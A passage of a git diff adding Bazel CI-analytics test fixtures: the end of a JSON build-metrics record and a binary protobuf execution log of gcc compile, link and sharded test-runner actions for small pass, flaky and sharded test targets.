"MjUgcHJvY2Vzc2VzOiAxMyBpbnRlcm5hbCwgMTcgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.json"}, {"name": "execution_log.binpb.zst"}]}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "44660", "wallTimeInMs": "8862", "analysisPhaseTimeInMs": "2147", "executionPhaseTimeInMs": "2339", "actionsExecutionStartInMs": "6486", "criticalPathTime": "0.227630710s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 17, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.256s", "userTime": "0.063s", "actionsCreated": "5"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "systemTime": "0.095s", "userTime": "0.064s", "actionsCreated": "3"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "systemTime": "0.036s", "userTime": "0.037s", "actionsCreated": "3"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "1"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "systemTime": "0.002s", "actionsCreated": "1"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "2"}, {"mnemonic": "CcStrip", "actionsCreated": "3"}, {"mnemonic": "FileWrite", "actionsCreated": "3"}, {"mnemonic": "Symlink", "actionsCreated": "1"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "1"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "33058256", "bytesRecv": "134073050"}}}} diff --git a/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb b/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb new file mode 100644 index 000000000..24029aabc --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb @@ -0,0 +1,549 @@ +86 +SHA-256_main"$ea882f0a-d70d-4e98-8471-874fa38dd26e€| +3external/bazel_tools/tools/genrule/genrule-setup.shE +@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn +&bazel-out/k8-fastbuild/bin/gen_out.txtD +@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03ˆ:… + /bin/bash +-c +osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$ +PATH/bin:/usr/bin:/usr/local/bin 2(: +//:gen_outBGenruleZprocesswrapper-sandboxhpx’# +€¤èB€¤è¢ íú—ÖÀ‡Н¨€ Ä§¢ +Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE +@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•� +Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE +@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷ +Ÿš +Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE +@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢� +Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE +@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ +2*W S + main_fail.cD +@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b + +2"* ‰ „ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE +@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð ˆ ƒ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD +@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cg„:� + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d +I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_fail.c +-o +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd +2( 2( : //:flaky_testB +CppCompileZprocesswrapper-sandboxhpx’# +€‡§B€‡§¢ ïú—Ö€øũ¨€€êW S + main_pass.cD +@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949 +2"* ˆƒ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE +@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð ‡‚ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD +@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473f€:ý + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d +H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_pass.c +-o +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(: //:pass_testB +CppCompileZprocesswrapper-sandboxhpx’# +À”ÞBÀ”Þ¢ ïú—Ö€øũ¨€€ÎYU + main_shard.cE +@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù +2"*Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE +@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE +@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®�:� + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d +L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_shard.c +-o +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(://:sharded_testB +CppCompileZprocesswrapper-sandboxhpx’# +À¦ÒBÀ¦Ò¢ ïú—Ö€øũ¨€ � ‡‚ +:external/rules_cc+/cc/private/toolchain/build_interface_soD +@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu�ˆ +?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE +@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77� 2"* +2"* {w +.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE +@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06  +2"*rn +%bazel-out/k8-fastbuild/bin/flaky_testE +@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0ô:ñ + /usr/bin/gcc +/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZprocesswrapper-sandboxhpx’# +€óßB€óߢ ïú—ÖÀËú¿¨€ÀÅ +2"*zv +-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE +@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž +2"*qm +$bazel-out/k8-fastbuild/bin/pass_testE +@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0ò:ï + /usr/bin/gcc +.@bazel-out/k8-fastbuild/bin/pass_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:pass_testBCppLinkZprocesswrapper-sandboxhpx’# +À÷œBÀ÷œ¢ ïú—ÖÀËú¿¨€ Ä + 2"*}!y +0bazel-out/k8-fastbuild/bin/sharded_test-0.paramsE +@bb9b5928db17b3f1215dc9e0405f5118783b5a7995020e6bc5fbd4df81f51d2e¥ +"2" *!t#p +'bazel-out/k8-fastbuild/bin/sharded_testE +@0a8dce773490fe6720cadc64b758164f2f15a9b1a38c0ac818ada7a0bbb84e67�4ø:õ + /usr/bin/gcc +1@bazel-out/k8-fastbuild/bin/sharded_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 "2(#://:sharded_testBCppLinkZprocesswrapper-sandboxhpx’# +€…ÔB€…Ô¢ ïú—ÖÀËú¿¨€€¡$2*}%Ry +-bazel-out/k8-fastbuild/bin/pass_test.runfiles$2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az&v +-external/bazel_tools/tools/test/test-setup.shE +@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|'x +/external/bazel_tools/tools/test/generate-xml.shE +@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' (2*%&')2*#€*R| +0bazel-out/k8-fastbuild/bin/sharded_test.runfiles)2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a +2**&'�,Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855<-"8 +6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsL."H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs/2*~0Rz +.bazel-out/k8-fastbuild/bin/flaky_test.runfiles/2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a 12*0&' 22**&'‚:ÿ +-external/bazel_tools/tools/test/test-setup.sh + ./pass_test> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml (24"2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml2C"Abazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely29"7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs2D"Bbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_log2G"Ebazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failure2(-2J"Hbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFEST2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS2P"Nbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS.pb: //:pass_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀÁÀBÀÁÀ¢ ïú—ÖÀ˜Ÿã¨€àÄÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +2D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely2(,2I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure2(.2Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀʺBÀʺ¢ ïú—ÖÀ˜Ÿã¨€àÂ=3"9 +7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs�4Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855®:« +-external/bazel_tools/tools/test/test-setup.sh + ./flaky_test? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml 125"3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml2D"Bbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely2:"8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs2E"Cbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_log2H"Fbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failure2(32K"Ibazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFEST2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS2Q"Obazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS.pb: //:flaky_testB +TestRunnerHR NON_ZERO_EXITZprocesswrapper-sandboxhpxˆà§’# +€Ï÷B€Ï÷¢ ïú—Ö€�Ü㨀àÄL5"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputsÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml 22D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely2(42I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure2(52Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀܮBÀܮ¢ ïú—Ö€�Ü㨀ÀÄ 62**&'�7Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L8"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputsÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 62D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely2(72I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure2(82Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +€üÙB€üÙ¢ ïú—Ö€�Ü㨀À€9| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.logE +@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0�:2*'9€;| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE +@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²½:º +/external/bazel_tools/tools/test/generate-xml.sh +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml +0 +1? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel 